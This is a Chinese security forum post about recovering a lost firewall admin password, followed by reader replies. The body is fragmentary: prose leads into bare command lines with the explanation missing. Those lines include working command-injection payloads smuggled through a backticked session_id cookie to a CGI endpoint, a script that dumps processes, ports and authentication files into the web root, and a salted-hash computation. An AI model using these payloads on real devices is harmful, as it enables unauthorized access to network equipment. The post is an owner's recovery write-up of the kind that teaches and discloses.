首页
社区
课程
招聘
[原创]***防火墙密码恢复手记
发表于: 2016-10-14 15:21 9722

[原创]***防火墙密码恢复手记

2016-10-14 15:21
9722

[size=+3]***防火墙密码恢复手记

公司在用的一款防火墙,密码意外遗失,无法登陆管理平台。虽然防火墙可以正常工作,但却无法修改配置,不能根增加和删除访问列表中的IP地址,不能调整访问策略。防火墙默认仅开通https web管理界面,未开启telnet、ssh等其他管理通道。

联系厂家寻求技术支持,被告知必须返厂更换芯片,费用大约在2000元左右(网上搜了一下,几乎所有密码遗失的客户最终都只能选择返厂)。公司用于该网络联网的仅此一台防火墙设备,终端数量在500以上,无其他硬件备份方案。因用户众多,管理要求细致,防火墙配置非常复杂,保存的配置文件也不是最新的。若返厂维修的话,则无法找到完备的替代方案。

于是决定先自己想办法,开启密码恢复之旅。Go!

[size=+2]猜测密码,自动验证

首先想到的是根据可能的密码规则和常用组合,构造一个密码字典,通过编写简单的Python脚本进行登录验证。万一不行的话,就穷举来尝试暴力破解。

可是开始跑脚本的时候发现想法实在太天真了,存在两个致命的问题:

$ http --verify=no https://x.x.x.x/cgi/maincgi.cgi 'Cookie: session_id=x`ls -la /tmp>/www/htdocs/1`'
http --verify=no -b -f POST https://x.x.x.x/cgi/maincgi.cgi 'Cookie: session_id=x`sh /t*/cg*`' a@test.sh; http --verify=no https://x.x.x.x/1
#!/bin/sh
# 清除/tmp/cgi*,防止干扰下次运行
rm -f /t*/cgi*

echo =============================== >/www/htdocs/1
date >>/www/htdocs/1

echo "***************" >>/www/htdocs/1
cd /tmp
ps >>/www/htdocs/1
netstat -nltp >>/www/htdocs/1
ls -la /xxx/etc /data/auth/db /tmp >>/www/htdocs/1
$ nm -D xxx/lib/* xxx/so/* > symbols.txt
import hashlib
print(hashlib.md5('superman' + '111111').hexdigest())

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (20)
雪    币: 2865
活跃值: (2668)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
2
感謝分享,1024
2016-10-14 15:58
0
雪    币: 3566
活跃值: (1887)
能力值: ( LV6,RANK:93 )
在线值:
发帖
回帖
粉丝
3
1024 是个老手啊
2016-10-14 16:19
0
雪    币: 2323
活跃值: (4113)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
4
大赞,最后,小结一下:
*软件逆向分析是个体力活。
*工欲善其事必先利其器。
*安全问题无时无刻不在。
2016-10-14 16:51
0
雪    币: 149
活跃值: (171)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
感谢分享,精彩~
2016-10-14 16:51
0
雪    币: 43
活跃值: (388)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
6
看这汇编,这机器用的是arm的核,按照经验数据分区都是在片外flash,若是没有这几个漏洞帮忙,可以尝试把flash卸下来dump出数据~ 修改后再回写~ 前提是这防火墙得下线~
2016-10-14 16:55
0
雪    币: 1256
活跃值: (41)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
没错,是arm指令集。
对我来说,没这个漏洞基本就没辙了。
如果能下线,拆机改flash还没返厂来的容易,没分析清楚之前,也不敢冒这个险啊。
2016-10-14 17:10
0
雪    币: 1176
活跃值: (1264)
能力值: ( LV12,RANK:380 )
在线值:
发帖
回帖
粉丝
8
同感 看到一堆r寄存器。。。
2016-10-14 19:35
0
雪    币: 43
活跃值: (388)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
9
我是看到了一堆lde str bl stmfd,满多架构的寄存器都是叫Rn的
2016-10-15 10:41
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
厉害看不懂。啊
2016-10-15 16:32
0
雪    币: 47147
活跃值: (20490)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
11
今天微信公众号推广了此文  
2016-10-15 17:18
0
雪    币: 1256
活跃值: (41)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
12
谢谢老大抬爱!

[QUOTE=kanxue;1448391]今天微信公众号推广了此文  


[/QUOTE]
2016-10-15 19:17
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
深度好文!
2016-10-16 11:50
0
雪    币: 44
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
留个脚印
2016-10-16 20:34
0
雪    币: 6790
活跃值: (4446)
能力值: (RANK:600 )
在线值:
发帖
回帖
粉丝
15
支持,分析不错,我感觉这篇文章更适合放在智能硬件板块,不适合放到windows板块,哈哈
2016-10-17 20:07
0
雪    币: 1217
活跃值: (621)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
16
通过你前文的描述,百度之,发现应该是天融信的防火墙
2016-10-18 18:28
0
雪    币: 2882
活跃值: (1279)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yjd
17
总结逆向不是人干的。
2016-10-18 22:47
0
雪    币: 390
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
高手,膜拜啊!
2016-10-20 10:21
0
雪    币: 508
活跃值: (89)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
19
感谢分享,全文读起来,痛快淋漓,爽!
2016-10-27 20:07
0
雪    币: 0
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
膜拜楼主,高手啊!
2017-3-22 09:16
0
雪    币: 28
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
jackyspy 先生能不能帮我也恢复一下密码我的也忘记了 自己测试了下漏洞还在 如果可以,+我q 553947374  感谢
最后于 2020-1-11 20:18 被落叶悠游编辑 ,原因:
2020-1-11 20:15
0
游客
登录 | 注册 方可回帖
返回
//